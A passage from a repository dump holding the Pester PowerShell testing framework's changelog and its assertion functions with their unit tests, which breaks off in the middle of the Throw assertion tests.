DbgShell/x64/DbgShellTest/Pester/CHANGELOG.md ================================================ ## 3.4.6 (January 13, 2017) - Fix bug with -Show parameter on PowerShell v4 and older [GH-677] - Add commas to test run summary [GH-676] ## 3.4.5 (January 12, 2017) - Add -Show parameter to filter on-screen output [GH-647] - Add BeIn assertion to assert an item is part of an array [GH-646] - Fix test drive to work on PSCore [GH-643] ## 3.4.4 (November 12, 2016) - Add New-MockObject function that creates empty objects for almost any .NET class [GH-635] ## 3.4.3 (August 25, 2016) - Fixed mocking for certain cmdlets containing dynamic parameters in PowerShell 5.1. [GH-599] ## 3.4.2 (August 2, 2016) - Bug fix when multiple cmdlets with the same name exist in PowerShell 5.1. [GH-588] ## 3.4.1 (July 22, 2016) - Updated code to use Get-CimInstance if possible, then Get-WmiObject, for Nano compatibility. [GH-484] - Fixed failure message output of Should BeLike / BeLikeExactly. [GH-497] - Added some missing information to about_Should help. [GH-519] - Made -OutputFormat parameter optional, defaulting to NUnitXml. [GH-503] - Fix error message of Should Throw when null input is provided [GH-521] - Fix mocking bug on functions that contain certain parameter names (Metadata, etc). [GH-583] ## 3.4.0 (February 29, 2016) - Bug fix for PSv2 when no matching scripts are found by Invoke-Pester. [GH-441] - Added "Should BeLike" assertion. [GH-456] - Discarded unwanted pipeline output from BeforeEach / AfterEach / BeforeAll / AfterAll. [GH-468] - Allowed closures to be used as mocks. [GH-465] - Fixed invalid NUnit XML output if test script had a syntax error. [GH-467] - Fix for mocking advanced functions that define a parameter named 'Args'. [GH-471] - Fixed bug when trying to mock a command with a weird name containing a single quotation mark. [GH-474] - Fixed bug for mocking Cmdlets that do not contain any positional parameters. [GH-477] - Fixed bug when calling a mocked command from inside the mock. [GH-478] - Added PesterOption parameter, and a switch to tweak console output for better VSCode extension functionality. [GH-479] ## 3.3.14 (December 16, 2015) - Fixed Coverage analysis output, which broke in 3.3.12. [GH-440] ## 3.3.13 (December 10, 2015) - Fixed a bug where mocking Get-Command would result in infinite recursion. [GH-437] ## 3.3.12 (December 8, 2015) - Fixed a bug with mocking dynamic parameters on latest Windows 10 / PSv5 builds. [GH-419] - Fix for NUnit XML export on .NET core. [GH-420] - Added Set-TestInconclusive command. [GH-421] - Mocking improvements for calling original commands with begin/process/end blocks. [GH-422] - Case insensitive replacement of Test in help [GH-428] - Improve stack trace and exception console output [GH-426] - Added support for intercepting module-qualified calls to a mocked command. [GH-432] - Improved Assert-MockCalled to allow it to be passed an alias as the -CommandName. ## 3.3.11 (September 8, 2015) - Fixed a bug where mocking New-Object would cause a stack overflow. [GH-405] ## 3.3.10 (August 14, 2015) - Fully qualified calls to Get-Content within Mocking code, to avoid triggering client's mocked versions of that command. [GH-362] - Fixed a scoping error when calling the original command if no parameter filters match the call. [GH-362] - Added Ignore alias for -Skip on the It command, and updated NUnit output to flag these tests as Ignored instead of Skipped, for better integration with things like TeamCity. [GH-368] - Added support for Unicode to Should Contain. [GH-378] - Added support for side-by-side installations to chocolateyInstall.ps1. [GH-401] ## 3.3.9 (May 23, 2015) - Fixed Describe's handling of TestName filter when multiple strings are passed to Invoke-Pester's -TestName parameter. - Failing BeforeEach or AfterEach will fail the test [GH-326] - Added BeOfType operator to the Should command. [GH-327] - Fixed BeforeEach / etc parsing in PSv3+ so breakpoints and automatic variables ($PSCommandPath, etc) will work properly. [GH-333] - Fixed bug in 'Should Be' when comparing strings, and null or empty strings are piped in to the Should command. [GH-333] - Added some calls to Write-Progress in the It command. [GH-322] - Bug fix when mocking functions that are in the global scope; the original functions were being lost when the Describe block ended. [GH-323] - Improved failed assertion output from Assert-MockCalled; now behaves more like Should. [GH-324] - Added -ExclusiveFilter parameter to Assert-MockCalled. Works like -ParameterFilter, except there also must not be any calls to the mocked command which do _not_ match the filter. - Added the "bin" folder to the PATH environment variable when installing from Chocolatey. Also removed the hard-coded -OutputXml and -Strict parameters from this file; only -EnableExit is always used from the bat file now. [GH-281] - PassThru object (when used in conjunction with -CodeCoverage) now includes information about Hit commands in addition to Missed commands. [GH-341] - Improvements to support for mocking advanced functions with dynamic parameters. [GH-346] - Fix for PowerShell v2 bug when mocking commands that have an -ArgumentList parameter with validation attributes. [GH-354] - Fixed stack trace output when the call to Should is in a file other than the file that contains the It block. [GH-358] ## 3.3.8 (April 15, 2015) - Further mocking fixes around the use of $ExecutionContext in client scope. [GH-307] ## 3.3.7 (April 15, 2015) - Added workaround for GetDynamicParameters() bug that was affecting mocks on the ActiveDirectory module in Windows 7. [GH-295] - Revised Mocking code to avoid potential bugs when functions define parameters named $ExecutionContext or $MyInvocation. [GH-304] - Mocked functions no longer call Get-MockDynamicParameters if the original function had no dynamicparam block. [GH-306] ## 3.3.6 (March 19, 2015) - Fix for mocking aliases for commands that are in scopes that Pester can't normally see. [GH-267] - Added line information to test failure output in Should assertion failures. [GH-266] - Added support for passing named parameters or positional arguments to test scripts, and for calling test scripts that are not named *.Tests.ps1. [GH-272] - Made Pester compliant with StrictMode. [GH-274] - Improved error message when InModuleScope finds multiple modules loaded with the same name. [GH-276] - Updated build script to allow for custom root folder in the nupkg. [GH-254] - Improved error messages for InModuleScope and Mock -ModuleName when multiple modules with the same name are loaded. Also enabled these commands to work if only one of the loaded modules is a Script module. [GH-278] - Added some graceful handling of test code that has a misplaced break or continue statement. [GH-290] ## 3.3.5 (January 23, 2015) - Updated tests to allow PRs to be automatically tested, with status updates to GitHub, by our CI server. - Added Snippets directory to the nuget packages, and updated code so the module won't fail to import if Snippets are missing. ## 3.3.4 (January 22, 2015) - No changes; publishing again to fix broken PowerShellGet upload. ## 3.3.2 (January 19, 2015) - Performance Improvements ## 3.3.1 (January 12, 2015) - Import ISESteroids snippets on load - Updated Code Coverage analysis to be compatible with the PowerShell 5.0 AST when analyzing DSC configurations. [GH-249] ## 3.3.0 (January 10, 2015) - Validate manifest version, changelog version and tag version - Added BeforeAll and AfterAll commands - Updated code to take advantage of -ErrorAction Ignore in PowerShell v3+. - Add ISESteroids snippets but do not import them ## 3.2.0 (December 3, 2014) - Added BeGreaterThan and BeLessThan assertions to Should. - Add -Quiet parameter for Invoke-Pester that disables the output written to screen by Write-Host [GH-223] - Fix Error output for TestDrive [GH-232] - Add ExcludeTagFilter parameter [GH-234] - Add different color schemes for dark and light backgrounds ## 3.1.1 (October 29, 2014) - Fix Skipped and Pending - Fix output format on non-US systems ## 3.1 (October 23, 2014) - Fix mocking of Get-ItemProperty - Fix mocking commands with parameters named $FunctionName, $ModuleName or $ArgumentList under some circumstances. [GH-215] - Add Skipped and Pending test results - Added support for parameterized tests to the It command. - Deprecated -OutputXml parameter, added -OutputFile and -OutputFormat parameters. - Added new updated NUnit export format. Original format still available as -OutputFormat LegacyNUnitXml. - Stopped forcing -ParameterFilter blocks to return explicit booleans, preventing some unnecessary null reference exceptions. ## 3.0.3 (October 12, 2014) - Can be installed from PowerShellGet - Version updated to solve issue on PowerShellGet ## 3.0.2 (September 8, 2014) - Coverage Analysis now ignores closing conditions of do/while and do/until loops, which were giving false failures. [GH-200] - Calls to Functions and Cmdlets with dynamic parameters can now be mocked. [GH-203] - Mock now avoids assigning strings to items in the Function provider, bypassing a PowerShell 3.0 bug. - Bug fix when mocking executables or functions with no param block. [GH-209] - Replace the nuget.exe with version 2.8.2 and set the Team City server to use the same version. ## 3.0.1.1 (August 28, 2014) - Fixing wrong version in the manifest, publishing new version so I can update it on Nuget/Chocolatey ## 3.0.1 (August 28, 2014) - Fix nuspec specification to build the 3.0.0 package correctly - Add verbose output for Be and BeExactly string comparison [GH-192] - Fixed NUnit XML output (missing close tag for failure element.) [GH-195] ## 3.0.0 (August 21, 2014) - Fix code coverage tests so they do not left breakpoints set [GH-149] - Add better output for hashtables in code coverage [GH-150] - Fix Invoke-Pester -OutputXml usage of relative paths - Remove Validate-Xml function - Remove legacy object adaptations support - Remove tests testing usage of the global scope - Add function name to Code coverage output [GH-152] - Suppress pipeline output in Context / Describe [GH-155] - Coverage Output Update [GH-156] - Add initial implementation of BeforeEach / AfterEach [GH-158] - CodeCoverage of files containing DSC Configurations [GH-163] - Rolling back some earlier Pester Scope changes [GH-164] - Legacy expectations cleanup [GH-165] - Invoke-Pester tests path fix [GH-166] - Assert-MockCalled default ModuleName fix. [GH-167] - Output exception source when test fails [GH-147] - Fix for PesterThrowFailureMessage on PowerShell 2.0. [GH-171] - Pester.bat no longer enables StrictMode. [GH-172] - Fixed default behavior of fixture parameter in Describe and Context. [GH-174] - Syntax errors in test files, as well as terminating errors from Describe or Context blocks are now treated as failed tests. [GH-168] - Mock lifetime is no longer tied to It blocks. [GH-176] - Add module manifest - Added multiple lines to failure messages from Should Be and Should BeExactly. Updated console output code to support blank lines in failure messages and stack traces. [GH-185] - Fixed stack trace information when test failures come from inside InModuleScope blocks, or from something other than a Should assertion. [GH-183] - Fixed stack trace information from Describe and Context block errors in PowerShell 2.0. [GH-186] - Fixed a problem with parameter / argument resolution in mocked cmdlets / advanced functions. [GH-187] - Improved error reporting when Pester commands are called outside of a Describe block. [GH-188] - Extensive updates to help files and comment-based help for v3.0 release. [GH-190] ## 3.0.0-beta2 (July 4, 2014) - Add code coverage [GH-148] - Fix TestName - Fix direct execution of tests when the script is dot-sourced to global scope [GH-144] - Fix mock parameter filter in strict mode [GH-143] - Fix nUnit schema compatibility - Fix special characters in nUnit output ## 3.0.0-beta (June 24, 2014) - Add full support for module mocking - Isolate Pester internals from tested code [GH-139] - Tests.ps1 files can be run directly [GH-139] - Add It scope to TestDrive - Add It scope to Mock - Add Scope parameter to Assert-MockCalled - Measure test time more precisely ## 2.1.0 (June 15, 2014) - Process It blocks in memory [GH-123] - Fixed -ExecutionPolicy in pester.bat [GH-130] - Add support for mocking internal module functions, aliases, exe and filters. [GH-126] - Fix TestDrive clean up [GH-129] - Fix ShouldArgs in Strict-Mode [GH-134] - Fix initialize $PesterException [GH-136] - Validate Should Assertion methods [GH-135] - Fix using commands without fully qualified names [GH-137] - Enable latest strict mode when running Pester tests using Pester.bat ## 2.0.4 (March 9, 2014) - Fixed issue where TestDrive doesn't work with paths with . characters [GH-52] - Fixed issues when mocking Out-File [GH-71] - Exposing TestDrive with Get-TestDriveItem [GH-70] - Fixed bug where mocking Remove-Item caused cleanup to break [GH-68] - Added -Passthru to Setup to obtain file system object references [GH-69] - Can assert on exception messages from Throw assertions [GH-58] - Fixed assertions on empty functions [GH-50] - Fixed New-Fixture so it creates proper syntax in tests [GH-49] - Fixed assertions on Object arrays [GH-61] - Fixed issue where curly brace misalignment would cause issues [GH-90] - Better contrasting output colours [GH-92] - New-Fixture handles "." properly [GH-86] - Fixed mix scoping of It and Context [GH-98] and [GH-99] - Test Drives are randomly generated, which should allow concurrent Pester processes [GH-100] and [GH-94] - Fixed nUnit test failing on non-US computers [GH-109] - Add case sensitive Be, Contain and Match assertions [GH-107] - Fix Pester template self-tests [GH-113] - Time is output to the XML report [GH-95] - Internal fixes to remove unnecessary dependencies among functions - Cleaned up Invoke-Pester interface - Make output better structured - Add -PassThru to Invoke-Pester [GH-102], [GH-84] and [GH-46] - Makes New-Fixture -Path option more resilient [GH-114] - Make the New-Fixture input accept any path and output objects - Move New-Fixture to separate script - Remove Write-UsageForNewFixture - Fix Should Throw filtering by exception message [GH-125] ## 2.0.3 (Apr 16, 2013) - Fixed line number reported in pester failure when using new pipelined should assertions [GH-40] - Added describe/context scoping for mocks [GH-42] ## 2.0.2 (Feb 28, 2013) - Fixed exit code bug that was introduced in version 2.0.0 ## 2.0.1 (Feb 3, 2013) - Renamed -EnableLegacyAssertions to -EnableLegacyExpectations ## 2.0.0 (Feb 2, 2013) - Functionality equivalent to 1.2.0 except legacy assertions disabled by default. This is a breaking change for anyone who is already using Pester ## 1.2.0 (Feb 2, 2013) - Fixing many of the scoping issues [GH-9] - Ability to tag describes [GH-35] - Added new assertion syntax (eg: 1 | Should Be 1) - Added 'Should Throw' assertion [GH-37] - Added 'Should BeNullOrEmpty' assertion [GH-39] - Added negative assertions with the 'Not' keyword - Added 'Match' assertion - Added -DisableOldStyleAssertions [GH-19] and [GH-27] - Added Contain assertion which tests file contents [GH-13] ## 1.1.1 (Dec 29, 2012) - Add should.not_be [GH-38] ## 1.1.0 (Nov 4, 2012) - Add mocking functionality [GH-26] ## Previous This changelog is inspired by the [Vagrant](https://github.com/mitchellh/vagrant/blob/master/CHANGELOG.md) file. Hopefully this will help keep the releases tidy and understandable. ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/Be.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterBe" { It "returns true if the 2 arguments are equal" { Test-PositiveAssertion (PesterBe 1 1) } It "returns true if the 2 arguments are equal and have different case" { Test-PositiveAssertion (PesterBe "A" "a") } It "returns false if the 2 arguments are not equal" { Test-NegativeAssertion (PesterBe 1 2) } } Describe "PesterBeFailureMessage" { #the correctness of difference index value and the arrow pointing to the correct place #are not tested here thoroughly, but the behaviour was visually checked and is #implicitly tested by using the whole output in the following tests It "Returns nothing for two identical strings" { #this situation should actually never happen, as the code is called #only when the objects are not equal $string = "string" PesterBeFailureMessage $string $string | Should BeNullOrEmpty } It "Outputs less verbose message for two different objects that are not strings" { PesterBeFailureMessage 2 1 | Should Be "Expected: {1}`nBut was: {2}" } It "Outputs verbose message for two strings of different length" { PesterBeFailureMessage "actual" "expected" | Should Be "Expected string length 8 but was 6. Strings differ at index 0.`nExpected: {expected}`nBut was: {actual}`n-----------^" } It "Outputs verbose message for two different strings of the same length" { PesterBeFailureMessage "x" "y" | Should Be "String lengths are both 1. Strings differ at index 0.`nExpected: {y}`nBut was: {x}`n-----------^" } It "Replaces non-printable characters correctly" { PesterBeFailureMessage "`n`r`b`0`tx" "`n`r`b`0`ty" | Should Be "String lengths are both 6. Strings differ at index 5.`nExpected: {\n\r\b\0\ty}`nBut was: {\n\r\b\0\tx}`n---------------------^" } It "The arrow points to the correct position when non-printable characters are replaced before the difference" { PesterBeFailureMessage "123`n456" "123`n789" | Should Be "String lengths are both 7. Strings differ at index 4.`nExpected: {123\n789}`nBut was: {123\n456}`n----------------^" } It "The arrow points to the correct position when non-printable characters are replaced after the difference" { PesterBeFailureMessage "abcd`n123" "abc!`n123" | Should Be "String lengths are both 8. Strings differ at index 3.`nExpected: {abc!\n123}`nBut was: {abcd\n123}`n--------------^" } } } InModuleScope Pester { Describe "BeExactly" { It "passes if letter case matches" { 'a' | Should BeExactly 'a' } It "fails if letter case doesn't match" { 'A' | Should Not BeExactly 'a' } It "passes for numbers" { 1 | Should BeExactly 1 2.15 | Should BeExactly 2.15 } } Describe "PesterBeExactlyFailureMessage" { It "Writes verbose message for strings that differ by case" { PesterBeExactlyFailureMessage "a" "A" | Should Be "String lengths are both 1. Strings differ at index 0.`nExpected: {A}`nBut was: {a}`n-----------^" } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/Be.ps1 ================================================ #Be function PesterBe($value, $expected) { return ($expected -eq $value) } function PesterBeFailureMessage($value, $expected) { if (-not (($expected -is [string]) -and ($value -is [string]))) { return "Expected: {$expected}`nBut was: {$value}" } <#joining the output strings to a single string here, otherwise I get Cannot find an overload for "Exception" and the argument count: "4". at line: 63 in C:\Users\nohwnd\github\pester\Functions\Assertions\Should.ps1 This is a quickwin solution, doing the join in the Should directly might be better way of doing this. But I don't want to mix two problems. #> ( Get-CompareStringMessage -Expected $expected -Actual $value ) -join "`n" } function NotPesterBeFailureMessage($value, $expected) { return "Expected: value was {$value}, but should not have been the same" } #BeExactly function PesterBeExactly($value, $expected) { return ($expected -ceq $value) } function PesterBeExactlyFailureMessage($value, $expected) { if (-not (($expected -is [string]) -and ($value -is [string]))) { return "Expected exactly: {$expected}`nBut was: {$value}" } <#joining the output strings to a single string here, otherwise I get Cannot find an overload for "Exception" and the argument count: "4". at line: 63 in C:\Users\nohwnd\github\pester\Functions\Assertions\Should.ps1 This is a quickwin solution, doing the join in the Should directly might be better way of doing this. But I don't want to mix two problems. #> ( Get-CompareStringMessage -Expected $expected -Actual $value -CaseSensitive ) -join "`n" } function NotPesterBeExactlyFailureMessage($value, $expected) { return "Expected: value was {$value}, but should not have been exactly the same" } #common functions function Get-CompareStringMessage { param( [Parameter(Mandatory=$true)] [AllowEmptyString()] [String]$Expected, [Parameter(Mandatory=$true)] [AllowEmptyString()] [String]$Actual, [switch]$CaseSensitive ) $expectedLength = $expected.Length $actualLength = $actual.Length $maxLength = $expectedLength,$actualLength | & $SafeCommands['Sort-Object'] -Descending | & $SafeCommands['Select-Object'] -First 1 $differenceIndex = $null for ($i = 0; $i -lt $maxLength -and ($null -eq $differenceIndex); ++$i){ $differenceIndex = if ($CaseSensitive -and ($expected[$i] -cne $actual[$i])) { $i } elseif ($expected[$i] -ne $actual[$i]) { $i } } [string]$output = $null if ($null -ne $differenceIndex) { if ($expected.Length -ne $actual.Length) { "Expected string length $expectedLength but was $actualLength. Strings differ at index $differenceIndex." } else { "String lengths are both $expectedLength. Strings differ at index $differenceIndex." } "Expected: {{{0}}}" -f ( $expected | Expand-SpecialCharacters ) "But was: {{{0}}}" -f ( $actual | Expand-SpecialCharacters ) $specialCharacterOffset = $null if ($differenceIndex -ne 0) { #count all the special characters before the difference $specialCharacterOffset = ($actual[0..($differenceIndex-1)] | & $SafeCommands['Where-Object'] {"`n","`r","`t","`b","`0" -contains $_} | & $SafeCommands['Measure-Object'] | & $SafeCommands['Select-Object'] -ExpandProperty Count) } '-'*($differenceIndex+$specialCharacterOffset+11)+'^' } } function Expand-SpecialCharacters { param ( [Parameter(Mandatory=$true,ValueFromPipeline=$true,ValueFromPipelineByPropertyName=$true)] [AllowEmptyString()] [string[]]$InputObject) process { $InputObject -replace "`n","\n" -replace "`r","\r" -replace "`t","\t" -replace "`0", "\0" -replace "`b","\b" } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/BeGreaterThan.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterBeGreaterThan" { It "passes if value greater than expected" { Test-PositiveAssertion (PesterBeGreaterThan 2 1) 2 | Should BeGreaterThan 1 } It "fails if values equal" { Test-NegativeAssertion (PesterBeGreaterThan 3 3) } It "fails if value less than expected" { Test-NegativeAssertion (PesterBeGreaterThan 4 5) } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/BeGreaterThan.ps1 ================================================ function PesterBeGreaterThan($value, $expected) { return [bool]($value -gt $expected) } function PesterBeGreaterThanFailureMessage($value,$expected) { return "Expected {$value} to be greater than {$expected}" } function NotPesterBeGreaterThanFailureMessage($value,$expected) { return "Expected {$value} to be less than or equal to {$expected}" } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/BeLessThan.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterBeLessThan" { It "passes if value Less than expected" { Test-PositiveAssertion (PesterBeLessThan 1 2) 1 | Should BeLessThan 2 } It "fails if values equal" { Test-NegativeAssertion (PesterBeLessThan 3 3) } It "fails if value greater than expected" { Test-NegativeAssertion (PesterBeLessThan 5 4) } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/BeLessThan.ps1 ================================================ function PesterBeLessThan($value, $expected) { return [bool]($value -lt $expected) } function PesterBeLessThanFailureMessage($value,$expected) { return "Expected {$value} to be less than {$expected}" } function NotPesterBeLessThanFailureMessage($value,$expected) { return "Expected {$value} to be greater than or equal to {$expected}" } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/BeNullOrEmpty.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterBeNullOrEmpty" { It "should return true if null" { Test-PositiveAssertion (PesterBeNullOrEmpty $null) } It "should return true if empty string" { Test-PositiveAssertion (PesterBeNullOrEmpty "") } It "should return true if empty array" { Test-PositiveAssertion (PesterBeNullOrEmpty @()) } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/BeNullOrEmpty.ps1 ================================================ function PesterBeNullOrEmpty($value) { if ($null -eq $value) { return $true } if ([String] -eq $value.GetType()) { return [String]::IsNullOrEmpty($value) } if ($null -ne $value.PSObject.Properties['Count'] -and $null -ne $value.Count) { return $value.Count -lt 1 } return $false } function PesterBeNullOrEmptyFailureMessage($value) { return "Expected: value to be empty but it was {$value}" } function NotPesterBeNullOrEmptyFailureMessage { return "Expected: value to not be empty" } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/BeOfType.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterBeOfType" { It "passes if value is of the expected type" { Test-PositiveAssertion (PesterBeOfType 1 ([int])) Test-PositiveAssertion (PesterBeOfType 1 "Int") 1 | Should BeOfType Int 2.0 | Should BeOfType ([double]) } It "fails if value is of a different types" { Test-NegativeAssertion (PesterBeOfType 2 double) Test-NegativeAssertion (PesterBeOfType 2.0 ([string])) } It "fails if type isn't a type" { Test-NegativeAssertion (PesterBeOfType 5 NotAType) } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/BeOfType.ps1 ================================================ function PesterBeOfType($value, $expectedType) { trap [System.Management.Automation.PSInvalidCastException] { return $false } if($expectedType -is [string] -and !($expectedType -as [Type])) { $expectedType = $expectedType -replace '^\[(.*)\]$','$1' } return [bool]($value -is $expectedType) } function PesterBeOfTypeFailureMessage($value, $expectedType) { if($expectedType -is [string] -and !($expectedType -as [Type])) { $expectedType = $expectedType -replace '^\[(.*)\]$','$1' } if($Type = $expectedType -as [type]) { return "Expected: ${value} to be of type [$Type]" } else { return "Expected: ${value} to be of type [$expectedType], but unable to find type [$expectedType]. Make sure that the assembly that contains that type is loaded." } } function NotPesterBeOfTypeFailureMessage($value, $expectedType) { if($expectedType -is [string] -and -not $expectedType -as [Type]) { $expectedType = $expectedType -replace '^\[(.*)\]$','$1' } if($Type = $expectedType -as [type]) { return "Expected: {$value} to be of any type except [${Type}], but it's a [${Type}]" } else { return "Expected: ${value} to be of any type except [$expectedType], but unable to find type [$expectedType]. Make sure that the assembly that contains that type is loaded." } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/Contain.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterContain" { Context "when testing file contents" { Setup -File "test.txt" "this is line 1`nrush is awesome`nAnd this is Unicode: ☺" It "returns true if the file contains the specified content" { Test-PositiveAssertion (PesterContain "$TestDrive\test.txt" "rush") } It "returns true if the file contains the specified content with different case" { Test-PositiveAssertion (PesterContain "$TestDrive\test.txt" "RUSH") } It "returns false if the file does not contain the specified content" { Test-NegativeAssertion (PesterContain "$TestDrive\test.txt" "slime") } It "returns true if the file contains the specified UTF8 content" { Test-PositiveAssertion (PesterContain "$TestDrive\test.txt" "☺") } } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/Contain.ps1 ================================================ function PesterContain($file, $contentExpectation) { return ((& $SafeCommands['Get-Content'] -Encoding UTF8 $file) -match $contentExpectation) } function PesterContainFailureMessage($file, $contentExpectation) { return "Expected: file ${file} to contain {$contentExpectation}" } function NotPesterContainFailureMessage($file, $contentExpectation) { return "Expected: file {$file} to not contain ${contentExpectation} but it did" } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/ContainExactly.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterContainExactly" { Context "when testing file contents" { Setup -File "test.txt" "this is line 1`nPester is awesome`nAnd this is Unicode: ☺" It "returns true if the file contains the specified content exactly" { Test-PositiveAssertion (PesterContainExactly "$TestDrive\test.txt" "Pester") } It "returns false if the file does not contain the specified content exactly" { Test-NegativeAssertion (PesterContainExactly "$TestDrive\test.txt" "pESTER") } It "returns true if the file contains the specified Unicode content exactly" { Test-PositiveAssertion (PesterContainExactly "$TestDrive\test.txt" "☺") } } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/ContainExactly.ps1 ================================================ function PesterContainExactly($file, $contentExpectation) { return ((& $SafeCommands['Get-Content'] -Encoding UTF8 $file) -cmatch $contentExpectation) } function PesterContainExactlyFailureMessage($file, $contentExpectation) { return "Expected: file ${file} to contain exactly {$contentExpectation}" } function NotPesterContainExactlyFailureMessage($file, $contentExpectation) { return "Expected: file {$file} to not contain exactly ${contentExpectation} but it did" } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/Exist.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterExist" { It "returns true for paths that exist" { Test-PositiveAssertion (PesterExist $TestDrive) } It "returns false for paths do not exist" { Test-NegativeAssertion (PesterExist "$TestDrive\nonexistent") } It 'works for path with escaped [ ] characters' { New-Item -Path "TestDrive:\[test].txt" -ItemType File | Out-Null "TestDrive:\``[test``].txt" | Should Exist } It 'returns correct result for function drive' { function f1 {} 'function:f1' | Should Exist } It 'returns correct result for env drive' { $env:test = 'somevalue' 'env:test' | Should Exist } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/Exist.ps1 ================================================ function PesterExist($value) { & $SafeCommands['Test-Path'] $value } function PesterExistFailureMessage($value) { return "Expected: {$value} to exist" } function NotPesterExistFailureMessage($value) { return "Expected: ${value} to not exist, but it was found" } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/Match.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "Match" { It "returns true for things that match" { PesterMatch "foobar" "ob" | Should Be $true } It "returns false for things that do not match" { PesterMatch "foobar" "slime" | Should Be $false } It "passes for strings with different case" { PesterMatch "foobar" "FOOBAR" | Should Be $true } It "uses regular expressions" { PesterMatch "foobar" "\S{6}" | Should Be $true } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/Match.ps1 ================================================ function PesterMatch($value, $expectedMatch) { return ($value -match $expectedMatch) } function PesterMatchFailureMessage($value, $expectedMatch) { return "Expected: {$value} to match the expression {$expectedMatch}" } function NotPesterMatchFailureMessage($value, $expectedMatch) { return "Expected: ${value} to not match the expression ${expectedMatch}" } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/MatchExactly.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "MatchExactly" { It "returns true for things that match exactly" { PesterMatchExactly "foobar" "ob" | Should Be $true } It "returns false for things that do not match exactly" { PesterMatchExactly "foobar" "FOOBAR" | Should Be $false } It "uses regular expressions" { PesterMatchExactly "foobar" "\S{6}" | Should Be $true } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/MatchExactly.ps1 ================================================ function PesterMatchExactly($value, $expectedMatch) { return ($value -cmatch $expectedMatch) } function PesterMatchExactlyFailureMessage($value, $expectedMatch) { return "Expected: {$value} to exactly match the expression {$expectedMatch}" } function NotPesterMatchExactlyFailureMessage($value, $expectedMatch) { return "Expected: ${value} to not match the expression ${expectedMatch} exactly" } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/PesterThrow.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "PesterThrow" { It "returns true if the statement throws an exception" { Test-PositiveAssertion (PesterThrow { throw }) } It "returns false if the statement does not throw an exception" { Test-NegativeAssertion (PesterThrow { 1 + 1 }) } It "returns true if the statement throws an exception and the actual error text matches the expected error text" { $expectedErrorMessage = "expected error message" Test-PositiveAssertion (PesterThrow { throw $expectedErrorMessage } $expectedErrorMessage) } It "returns false if the statement throws an exception and the actual error does not match the expected error text" { $unexpectedErrorMessage = "unexpected error message" $expectedErrorMessage = "some expected error message" Test-NegativeAssertion (PesterThrow { throw $unexpectedErrorMessage} $expectedErrorMessage) } It "returns true if the statement throws an exception and the actual error text matches the expected error pattern" { Test-PositiveAssertion (PesterThrow { throw "expected error"} "error") } It "throws ArgumentException if null ScriptBlock is provided" { try { Test-PositiveAssertion (PesterThrow $null) throw "Should throw exception, but no exception was thrown." } catch [ArgumentException] { #do nothing. we expect argument exception to happen } } } Describe "Get-DoMessagesMatch" { It "returns true if the actual message is the same as the expected message" { $expectedErrorMessage = "expected" $actualErrorMessage = "expected" $result = Get-DoMessagesMatch $actualErrorMessage $expectedErrorMessage $result | Should Be $True } It "returns false if the actual message is not the same as the expected message" { $expectedErrorMessage = "some expected message" $actualErrorMessage = "unexpected" $result = Get-DoMessagesMatch $actualErrorMessage $expectedErrorMessage $result | Should Be $False } It "returns false is there's no expectation" { $result = Get-DoMessagesMatch "" "" $result | Should Be $False } It "returns true if the expected error is contained in the actual message" { $actualErrorMessage = "this is a long error message" $expectedText = "long error" $result = Get-DoMessagesMatch $actualErrorMessage $expectedText $result | Should Be $True } } Describe 'PesterThrowFailureMessage' { $testScriptPath = Join-Path $TestDrive.FullName test.ps1 It 'returns false if the actual message is not the same as the expected message' { $unexpectedErrorMessage = 'unexpected' $expectedErrorMessage = 'some expected message' Set-Content -Path $testScriptPath -Value "throw '$unexpectedErrorMessage'" PesterThrow { & $testScriptPath } $expectedErrorMessage > $null $result = PesterThrowFailureMessage $unexpectedErrorMessage $expectedErrorMessage $result | Should Match "^Expected: the expression to throw an exception with message {$expectedErrorMessage}, an exception was raised, message was {$unexpectedErrorMessage}`n from $([RegEx]::Escape($testScriptPath)):\d+ char:\d+" } It 'returns true if the actual message is the same as the expected message' { PesterThrow { } > $null $result = PesterThrowFailureMessage 'error message' $result | Should Be 'Expected: the expression to throw an exception' } } Describe 'NotPesterThrowFailureMessage' { $testScriptPath = Join-Path $TestDrive.FullName test.ps1 It 'returns false if the actual message is not the same 